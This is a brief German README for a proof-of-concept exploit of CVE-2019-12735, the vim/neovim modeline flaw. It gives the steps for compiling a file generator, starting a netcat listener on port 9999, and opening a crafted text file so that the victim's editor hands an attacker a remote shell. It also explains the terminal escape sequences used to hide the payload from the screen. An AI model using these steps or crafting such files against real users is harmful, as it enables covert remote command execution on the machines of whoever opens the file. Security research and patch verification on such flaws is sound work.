
Eine Demo für cve-2019-12735
Diese CVE wurde nach neovim 0.3.6 und vim 8.1.1365 behoben
vim demo1.txt
gcc make_demo3.c -o make_demo3
./make_demo3
nc -vlp 9999
vim demo3.txt
Danach kannst du in der Sitzung beliebige Linux-Befehle ausführen.
\x1b[?7l : Beim Erreichen des Zeilenendes keinen Zeilenumbruch durchführen, sondern ständig das letzte Zeichen überschreiben\x1bS: STS, Set Transmit State\x1b[1G: Zur Spalte 1 bewegen\x1b[K: Alle Zeichen von der aktuellen Cursorposition bis zum Zeilenende löschen